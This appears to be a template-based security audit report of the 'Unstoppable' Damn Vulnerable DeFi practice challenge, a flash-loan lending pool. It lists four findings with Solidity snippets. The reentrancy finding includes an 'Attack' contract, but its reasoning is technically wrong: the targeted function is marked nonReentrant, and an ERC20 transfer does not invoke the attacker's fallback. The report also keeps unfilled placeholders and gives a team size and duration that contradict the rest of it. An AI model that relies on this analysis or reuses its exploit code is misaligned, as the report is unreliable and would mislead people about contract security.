
Unstoppable Security Review

Reviewers

Américo Júnior, Security Auditor
September 26, 2022

1 Executive Summary

Over the course of 5 days in total, [Unstoppable](#) engaged with [Américo Júnior](#) to review [Unstoppable](#).

We found a total of 4 issues with Unstoppable.

Repository	Commit
Unstoppable	commithash

Summary

Type of Project	TYPE
Timeline	Sep 24, 2022 - Sep 26, 2022
Methods	Manual Review
Documentation	High
Testing Coverage	High

Total Issues

Critical Risk	0
High Risk	2
Medium Risk	1
Low Risk	1
Gas Optimizations and Informational	0

Contents

1	Executive Summary	1
2	Unstoppable	3
3	Introduction	3
4	Findings	3
4.1	High Risk	3
4.1.1	Dangerous strict equalities	3
4.1.2	Reentrancy	4
4.2	Medium Risk	5
4.2.1	Incorrect versions of Solidity	5
4.3	Low Risk	6
4.3.1	Unchecked transfer	6

2 Unstoppable

Unstoppable is a [damnn vulnerable defi challenge](#), there's a lending pool with a million DVT tokens in balance, offering flash loans for free.

3 Introduction

Unstoppable offers flash loans of DVT tokens for free.

The focus of the security review was on the following:

1. Ensure that the system is implemented consistently with the intended functionality, and without unintended edge cases.
2. Identify known vulnerabilities particular to smart contract systems, as outlined in our [Smart Contract Best Practices](#), and the [Smart Contract Weakness Classification Registry](#).

Disclaimer: This security review does not guarantee against a hack. It is a snapshot in time of brick according to the specific commit by a three person team. Any modifications to the code will require a new security review.

4 Findings

4.1 High Risk

4.1.1 Dangerous strict equalities

Severity: High

Context: [UnstoppableLender.sol#L40](#)

Description: Use of strict equalities that can be easily manipulated by an attacker.

If an attacker transfer DVT token to the contract without using the `depositTokens()` function, the `poolBalance` doesn't change and the assert at line 40 returns false, consequently it's impossible to flash loan.

```

contract UnstoppableLender {
    ...
    function depositTokens(uint256 amount) external nonReentrant {
        require(amount > 0, "Must deposit at least one token");
        // Transfer token from sender. Sender must have first approved them.
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        poolBalance = poolBalance + amount;
    }
    ...
    function flashLoan(uint256 borrowAmount) external nonReentrant {
        ...
        // Ensured by the protocol via the `depositTokens` function
        assert(poolBalance == balanceBefore);

        damnValuableToken.transfer(msg.sender, borrowAmount);
        ...
    }
    ...
}

```

Recommendation:

```

+Don't use strict equality to determine if a pool has same balance.
- ...

```

4.1.2 Reentrancy

Severity: High

Context: `UnstoppableLender.sol#L26-31`

Description: A state variable is changed after a contract uses `call.value`. The attacker uses a fallback function—which is automatically executed after Token is transferred from the targeted contract—to execute the vulnerable function again, before the state variable is changed. Abusing this vulnerability I created an exploit that makes 2 deposits, and only 1 is updated in the pool balance, and that makes us break flash loan functionality.

```

contract UnstoppableLender {
    ...
    function depositTokens(uint256 amount) external nonReentrant {
        ...
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        poolBalance = poolBalance + amount;
        ...
    }
    ...
}

contract Attack {
    UnstoppableLender public unstoppableLender;

    constructor(address _unstoppableLenderAddress) {
        unstoppableLender = UnstoppableLender(_unstoppableLenderAddress);
    }

    fallback() external payable {
        unstoppableLender.depositTokens(10);
    }

    function attack() external payable {
        unstoppableLender.depositTokens(10);
        unstoppableLender.flashLoan(10);
    }
}

```

Recommendation:

```

+Ensure all state changes happen before calling external contracts.
- ...

```

4.2 Medium Risk

4.2.1 Incorrect versions of Solidity

Severity: Medium

Context: `UnstoppableLender.sol#L3`, `ReentrancyGuard.sol#L3` and `IERC20.sol#L3`

Description: `solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex `pragma` statement.

Recommendation:

```
+Deploy with any of the following Solidity versions:
+ 0.5.16 - 0.5.17
+ 0.6.11 - 0.6.12
+ 0.7.5 - 0.7.6
+ 0.8.4 - 0.8.7 Use a simple pragma version that allows any of these versions.
  ↳ Consider using the latest version of Solidity for testing.
- ...
```

4.3 Low Risk

4.3.1 Unchecked transfer

Severity: Low

Context: `UnstoppableLender.sol#L26-31` and `UnstoppableLender.sol#L33-48`

Description: The return value of an external transfer/transferFrom call is not checked

```
contract UnstoppableLender {
    ...
    function depositTokens(uint256 amount) external nonReentrant {
        ...
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        ...
    }
    ...
    function flashLoan(uint256 borrowAmount) external nonReentrant {
        ...
        damnValuableToken.transfer(msg.sender, borrowAmount);
        ...
    }
    ...
}
```

Recommendation:

```
+Ensure that the transfer/transferFrom return value is checked.
- ...
```